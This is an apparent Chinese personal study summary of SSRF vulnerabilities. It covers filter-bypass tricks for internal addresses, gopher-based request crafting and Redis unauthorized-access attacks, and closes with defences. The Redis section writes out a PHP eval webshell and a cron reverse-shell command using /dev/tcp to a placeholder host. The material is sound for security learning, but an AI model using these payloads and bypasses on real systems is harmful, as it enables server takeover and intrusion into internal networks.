SSRF的个人总结

0x01 前言

SSRF作为一个经典的漏洞,不管是在CTF比赛或者是实战渗透,都是有机会接触到的。但是相比于比赛而言,实战中遇到的SSRF的过滤和限制会多得多,不论是整站的waf或者是一些内网地址的黑名单白名单,这边就写一篇文章给自己总结回忆一下。

0x02 SSRF漏洞简介

1. 漏洞描述

SSRF全称服务器端请求伪造(Server-Side Request Forgery),这个漏洞通常出现在当web应用提供了从其他的服务器上获取数据的功能,如:使用用户指定的URL获取图片、下载文件、读取文件内容等。如果这个功能被恶意使用,就可以被攻击者利用存在缺陷的web应用作为代理,攻击远程或本地的服务器。一般情况下,SSRF的攻击主要目标是从外网无法访问的内部系统(因为它是由服务端发起的),SSRF形成的大部分原因都是由于服务端提供了从其他服务器应用获取数据的功能却没有对目标地址做过滤和限制。
image.png

2. 漏洞可能存在位置

大体上,我们主要通过web功能进行判断,那么我们可以列举几种在web应用中常见的功能:

  • 分享功能
    在早期的分享应用中,web应用会获取目标URL地址网页内容中的<title>标签或<meta name="description" content="" />标签中的文本内容作为显示
  • 转码服务
    通过URL地址把原地址的网页内容调优使其适合手机屏幕浏览:由于手机屏幕大小的关系,直接浏览网页内容的时候会造成许多不便,因此有些公司提供了转码功能,把网页内容通过相关手段转为适合手机屏幕浏览的样式。例如百度、腾讯、搜狗等公司都有提供在线转码服务
  • 在线翻译
    通过URL地址翻译对应文本的内容。提供此功能的国内公司有百度、有道等
  • 图片加载与下载
    通过URL地址加载或下载图片:图片加载远程图片地址此功能用到的地方很多,但大多都是比较隐秘,比如在有些公司中的加载自家图片服务器上的图片用于展示。(此处可能会有人有疑问,为什么加载图片服务器上的图片也会有问题,直接使用img标签不就好了?,没错是这样,但是开发者为了有更好的用户体验通常对图片做些微小调整例如加水印、压缩等,所以就可能造成SSRF问题)

0x03 SSRF漏洞利用方式

一般来说,当我们遇到一个可利用的SSRF攻击点,我们有以下几种利用方式

  1. 对服务器所在内网、本地进行端口扫描,获取一些服务的banner信息(一般包括服务器的类型、版本,服务器上启动的服务信息)
  2. 攻击运行在内网或本地的应用程序(如堆栈溢出)
  3. 通过访问存在的默认文件对内网的web应用进行指纹识别
  4. 攻击内网的web应用,主要是使用GET方法(后面会讲到POST的攻击方式)就可以进行攻击的应用,如Struct2,Sqli等
  5. 利用file协议进行文件读取(后面也会讲到其他协议的利用)

0x04 一些SSRF的技巧

内网探测相关

使用SSRF来进行内网的探测是最常见的功能,在这里遇到的最常见的问题就是开发对SSRF的地址做了内网地址的白名单或者黑名单,那么我们这里就介绍几种常用的绕过方式

  1. 编码
    将目标ip地址进行十六进制或者其他进制的编码
    127.0.0.1 => 2130706433
    计算方法:127*(256^3)+0*(256^2)+0*(256^1)+1*(256^0)=2130706433
    image.png
  2. 缩写
    比如说,127.0.0.1可以缩写成127.1
    image.png
    127.0.0.1也可以缩写成0
    image.png
    或者0.0.0.0
    image.png
  3. ipv6
    比如localhost这个地址,我们可以用它的ipv6形式来表示,就是[::]
  4. 短链接
    我们可以在网上找到短链接的生成工具
    image.png
  5. 利用@的解析问题
    比如我们想访问127.0.0.1,那么我们可以构造http://www.baidu.com@127.0.0.1,可以发现它实际访问到的是127.0.0.1,但是很多过滤的正则语法会匹配前面的www.baidu.\com,就可以实现绕过
  6. 特殊域名服务
    比如xip.io这个网站,它会将所有xx.xx.xx.xx.xip.io的请求解析到xx.xx.xx.xx上,所以如果我们想访问127.0.0.1,只需要访问127.0.0.1.xip.io即可
  7. 利用DNS解析
    我们可以在自己的域名上写一个DNS的A记录,指向127.0.0.1
  8. 利用一些特殊字符,比如Enclosed alphanumerics
    ① ② ③ ④ ⑤ ⑥ ⑦ ⑧ ⑨ ⑩ ⑪ ⑫ ⑬ ⑭ ⑮ ⑯ ⑰ ⑱ ⑲ ⑳
    我们可以构造①②⑦.①
    image.png
  9. 利用中文句号
    127.0.0.1 => 127。0。0。1
    image.png
  10. 利用DNS Rebinding漏洞
    DNS Rebinding漏洞是需要我们拥有一个域名,当我们把DNS解析的TTL设置为0的时候,我们DNS的解析就不会存在缓存,这意味着不同时间发出的两次DNS请求将会得到不一样的解析结果
    一般的SSRF过滤会有两个步骤,第一步是有效性检测,在这一步,程序会对我们请求的地址,内容等进行检查,第二步是真正的请求发送。那么我们只需要在第一次请求时,将域名绑定到一个合法IP上,然后在第二次请求时,将域名绑到我们需要的地址,就可以绕过过滤。
    不过这个在利用时也会存在一些问题,比如有些DNS服务器即使你设置了TTL为0,它仍然会有缓存,那么这种就是无解的。
  11. 302跳转
    可以利用一些网站提供的服务实现302跳转的攻击

内网应用攻击相关

在SSRF的攻击中,比较常见的就是一些未授权问题。开发人员认为服务器处于内网,默认是安全的状态,可能就会引发一些未授权的漏洞。

Redis未授权

redis的未授权漏洞可以说是相当经典,甚至有的服务器在外网开放的6379端口也有这个问题。通常来说redis未授权的利用方法有以下几种:

1. 写webshell

这种是你判断它有web应用并且已知web应用的后端语言和路径的话,可以尝试写入webshell,过程一般如下
首先,我们设置redis的路径为你要写shell的web应用路径

set config dir /var/www/html

然后设置你写入的文件名

set config dbfilename 123.php

最后,设置写入的shell内容并保存

set shell "\n\n\n<?php eval($_POST['peco']);?>\n\n\n"
save

这里在前后加上换行是因为redis可能默认会附带一些信息在写入的文件中,所以为了减少影响,我们增加几个换行

2. 写定时任务反弹shell

这个写入的方法和写shell大同小异,基本就还是那几步

config set dir /var/spool/cron/
config ser dbfilename root
set x "\n* * * * * bash -i >& /dev/tcp/xx.xx.xx.xx/xxxx 0>&1\n"
save
3. 主从复制RCE

漏洞存在于4.x、5.x版本中,Redis提供了主从模式,主从模式指使用一个redis作为主机,其他的作为备份机,主机从机数据都是一样的,从机只负责读,主机只负责写。在Reids 4.x之后,通过外部拓展,可以实现在redis中实现一个新的Redis命令,构造恶意.so文件。在两个Redis实例设置主从模式的时候,Redis的主机实例可以通过FULLRESYNC同步文件到从机上。然后在从机上加载恶意so文件,即可执行命令。
这里我们使用github上现有的工具即可
https://github.com/Ridter/redis-rce

GET限制的绕过

在之前面试字节跳动的时候,面试官曾经问过我这样一个问题,SSRF如果只能使用GET,那么我们怎么进行POST类型的攻击,当时我知识点还不是很清楚,那么现在就来总结一下

gopher协议的利用

gopher是一个很牛逼的协议,它支持发送GET或者POST的请求,比如我们使用linux来尝试发一个gopher的GET请求
首先,我们监听本机的23344端口

nc -lvp 23344

然后我们利用Curl来发送gopher的请求

curl gopher://127.0.0.1:23344/abcd

我们会发现监听的端口接收到了bcd
image.png
那么a呢,其实是gopher协议在使用时,必须默认在后面多加一个字符,比如我们发送

curl gopher://127.0.0.1:23344/_abcd

image.png
如果想用gopher发送HTTP的GET请求,我们只需要把HTTP的请求利用URL编码和%0d%0a来换行,就可以构造出GET请求
比如我们有这样一个请求

GET /index.php?name=hello HTTP/1.1
Host: 127.0.0.1

经过URL编码和%0d0a的填充,就变成了

GET%20/index.php%3fname=hello%20HTTP/1.1%0d%0AHost:%20127.0.0.1%0d%0A

然后加上一个字符填到gopher里

curl gopher://127.0.0.1:80/_GET%20/index.php%3fname=hello%20HTTP/1.1%0d%0AHost:%20127.0.0.1%0d%0A

那么我们发送试试
image.png
由此,我们发现gopher可以自由的构造HTTP请求,那么发送POST包也就不会有太大的问题

0x05 SSRF漏洞的防御

SSRF的防御应该是以下几点

  1. 内网URL地址的黑名单和白名单,上述我也总结了很多的过滤绕过方法,所以白名单无疑是比黑名单更安全的,所以条件允许的情况下,尽量使用白名单进行防御
  2. 协议的限制
    对于很多内网应用,可能攻击者必须能发送POST包才能进行攻击,那么gopher协议的利用就是必不可少的。所以我们可以尽量限制协议的使用,危险的协议进行禁用,比如dict、file、gopher等,只允许http或https
  3. 跳转的限制
    有时攻击者会使用302跳转来进行内网的攻击,那么我们尽可能禁止跳转或者对每次跳转后的地址进行判断,这样就能避免很多安全问题

醉后不知天在水,满船清梦压星河